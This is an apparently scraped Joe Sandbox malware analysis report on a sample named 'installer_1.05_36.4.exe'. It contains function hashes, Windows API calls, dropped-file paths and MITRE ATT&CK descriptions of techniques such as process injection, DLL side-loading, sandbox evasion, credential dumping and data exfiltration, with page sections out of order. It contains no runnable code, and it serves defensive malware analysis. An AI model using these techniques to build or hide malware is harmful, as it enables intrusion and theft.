Instruction Fuzzy Hash: 485139F1B0430ADFDB24D76D940077EBBE6AFC2210F18866ED516CB252DA31C845C792

Function 070C3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 070C3580
$^q, xrefs: 070C352A
$^q, xrefs: 070C3546
$^q, xrefs: 070C3574

Memory Dump Source

Source File: 00000010.00000002.2288145080.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_70c0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: f07d50685f0904d9cf15a52c025c09a4ec326811318725d3d950720465267952
Instruction ID: 195343d32fb266295cf29d2e3598454fe766d7d8ce5794d63eab5b42fb40137e
Opcode Fuzzy Hash: f07d50685f0904d9cf15a52c025c09a4ec326811318725d3d950720465267952
Instruction Fuzzy Hash: E62127B57203065BDB64AA6E9800B3FFED66BC4710F24C63EA649CB395DD36C8448363

Function 070C0570 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070C05E7
4'^q, xrefs: 070C05DB
$^q, xrefs: 070C05BA
$^q, xrefs: 070C05C6

Memory Dump Source

Source File: 00000010.00000002.2288145080.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_70c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 95e541334a9740070fbd4f73fdf6b37faaee45d311965a4cc92b4f46e4f9d5e1
Instruction ID: 638a124a4751b18bdfa2be24ef9915fab9d43ae66a2a07bd1ad491c7916b712a
Opcode Fuzzy Hash: 95e541334a9740070fbd4f73fdf6b37faaee45d311965a4cc92b4f46e4f9d5e1
Instruction Fuzzy Hash: 16F049B1B483498FCB2923681C3461F5AF66FD2A1072A065FC6819F39ACC368C46C392

Analysis Process: vsv_tool.exePID: 5144, Parent PID: 7428COMMON

Execution Graph

Execution Coverage:	20.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	147
Total number of Limit Nodes:	7

Executed Functions

Function 005B51EB Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005B518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 005B51BB

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 005B524F

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction ID: f6f5c5dcb0b89416b9270e31d506b10045130db792914f7eda5f259952ebe480
Opcode Fuzzy Hash: 4b7043f871755b58f40638a0e80aec111520236eadfc74e0803d840394cff95c
Instruction Fuzzy Hash: DC510CB5D01609EFCB08DF98C890BEEBBB5BF48300F548559E915AB341E775AE41CBA0

Function 005B4ACB Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 005B4AED

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction ID: 554d351ec270081bfe78527ab70d943f8c925a463e4ef19731457457ff94aa8c
Opcode Fuzzy Hash: 811ed88586e1a9313cd571564231c22e97687d35a065f62fc27905b3f91c6921
Instruction Fuzzy Hash: 43319B75A00108FFCB14DF98C891F9EB7B9BF48310F208599E9199B291D671AE41DB54

Function 005B590B Relevance: 4.0, APIs: 2, Instructions: 995
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005B518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 005B51BB

Part of subcall function 005B46FB: LoadLibraryW.KERNELBASE(?), ref: 005B472C

VirtualProtect.KERNELBASE(?,00000000,?,00000000), ref: 005B64E0
VirtualProtect.KERNELBASE(?,00000000,00000000,00000000), ref: 005B6513

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID: ProtectVirtual$AllocGlobalLibraryLoad
String ID:
API String ID: 2510009449-0
Opcode ID: fc275671c2e583b1efe37daa3226513e6a42d11b7222a547ca7e2d980d580fb5
Instruction ID: 5aeef8c4381edd53979e9832b65c5d81e764e6c49db3385df6819de6648967d2
Opcode Fuzzy Hash: fc275671c2e583b1efe37daa3226513e6a42d11b7222a547ca7e2d980d580fb5
Instruction Fuzzy Hash: 6C92B4B5E00219EFCB14DB98C995EEEBBB5BF88300F248199E509A7345E735AE41CF50

Function 005B50BB Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 005B50DD
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 005B510B

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: b87235119db6a9d52d4aa04385231f5c6936dbe5fd03be32c125681f755f986d
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: BE012D74640208FBCB14EE98DC42F9AB7B9AF88314F20C154FA199B280D631FE02DB90

Function 005B46FB Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005B518B: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 005B51BB

LoadLibraryW.KERNELBASE(?), ref: 005B472C

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction ID: b1035e955e1bfa3ff0cc9212f981fc3355c0e1a9a31e5b9359446216bee427d7
Opcode Fuzzy Hash: 1feaf0e274cf16ef0741fa9d108665e6c366966b39e006d739153cc267d6f199
Instruction Fuzzy Hash: 83E0ED75E00208BFCB00EFA8DD82ADD7FB8AF88201F108194F90897345E631AE518BD1

Function 005B671B Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: 857f812cdafcf298deba701435c5ebf4e4bfe486adb4172f4ff66edb2bee3381
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: 8A91D6B5D04209EFCF08CF98D890AEEBBB5BF88310F148559E519AB355D734AA45CFA0

Function 005B518B Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 005B51BB

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: a88a476179f746fc35bfd84c5700d19d0deb73d41a106be208f281e63bb99f13
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: 73F02278614208EFDB48DF58D580A99B7A5FB88364F10C299AC598B341D631EE81DB94

Function 0024CA28 Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.3159843287.000000000024C000.00000020.00000001.01000000.0000000F.sdmp, Offset: 0024C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_24c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26a2788bb9d6db273fde522599f8d22f5ec68f7d124158a8fcc97f1873c39981
Instruction ID: 4d735f7d0c8b0ec11988555994af923be2cefc337a4bd7dc2039b8b8b84eb6f9
Opcode Fuzzy Hash: 26a2788bb9d6db273fde522599f8d22f5ec68f7d124158a8fcc97f1873c39981
Instruction Fuzzy Hash: 4D019E70321208AFDB98EF6CDD92A6A37EDEB49300B5018A5F900C7652EB71EC15CB60

Function 0024C9F0 Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.3159843287.000000000024C000.00000020.00000001.01000000.0000000F.sdmp, Offset: 0024C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_24c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee07f5023dc0d96b754cc0171f9b2c7b07269112c1f717584af23fed1d3b5a05
Instruction ID: 3c70d6ef7895058d9d82ebbec5cb7875ce73ad26c211a7d2880e26ee7b548b6b
Opcode Fuzzy Hash: ee07f5023dc0d96b754cc0171f9b2c7b07269112c1f717584af23fed1d3b5a05
Instruction Fuzzy Hash: 07D05E607322142ACFE9BEBD4DC2B664BDC5B09388F54147A7448E7343EA65CC6C5B20

Function 0024C7C0 Relevance: .0, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000031.00000002.3159843287.000000000024C000.00000020.00000001.01000000.0000000F.sdmp, Offset: 0024C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_24c000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbaef350a031b0f30ea73a90b24e8774050fcc671b9a2ea6f4c83847aafd68f8
Instruction ID: dfdd132c4300208b224dcb4181ce5195ad8bb90e86c9cac5a3d71be131a6d5d2
Opcode Fuzzy Hash: cbaef350a031b0f30ea73a90b24e8774050fcc671b9a2ea6f4c83847aafd68f8
Instruction Fuzzy Hash: 66A0027643252A8EEAD8BE6AC045B5461546B60725FF26094B0004955647B844688F52

Non-executed Functions

Function 005B58BB Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000031.00000002.3159843287.00000000005B3000.00000020.00000001.01000000.0000000F.sdmp, Offset: 005B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_5b3000_vsv_tool.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report installer_1.05_36.4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\709182\Lightweight.com

C:\Users\user\AppData\Local\Temp\709182\N

C:\Users\user\AppData\Local\Temp\Bet

C:\Users\user\AppData\Local\Temp\Bmw

C:\Users\user\AppData\Local\Temp\Certificates

C:\Users\user\AppData\Local\Temp\Effective

C:\Users\user\AppData\Local\Temp\Exhibit

C:\Users\user\AppData\Local\Temp\Expected

C:\Users\user\AppData\Local\Temp\Expected.cmd (copy)

C:\Users\user\AppData\Local\Temp\Handbags

C:\Users\user\AppData\Local\Temp\Harder

C:\Users\user\AppData\Local\Temp\M

C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe

Windows Analysis Report
installer_1.05_36.4.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre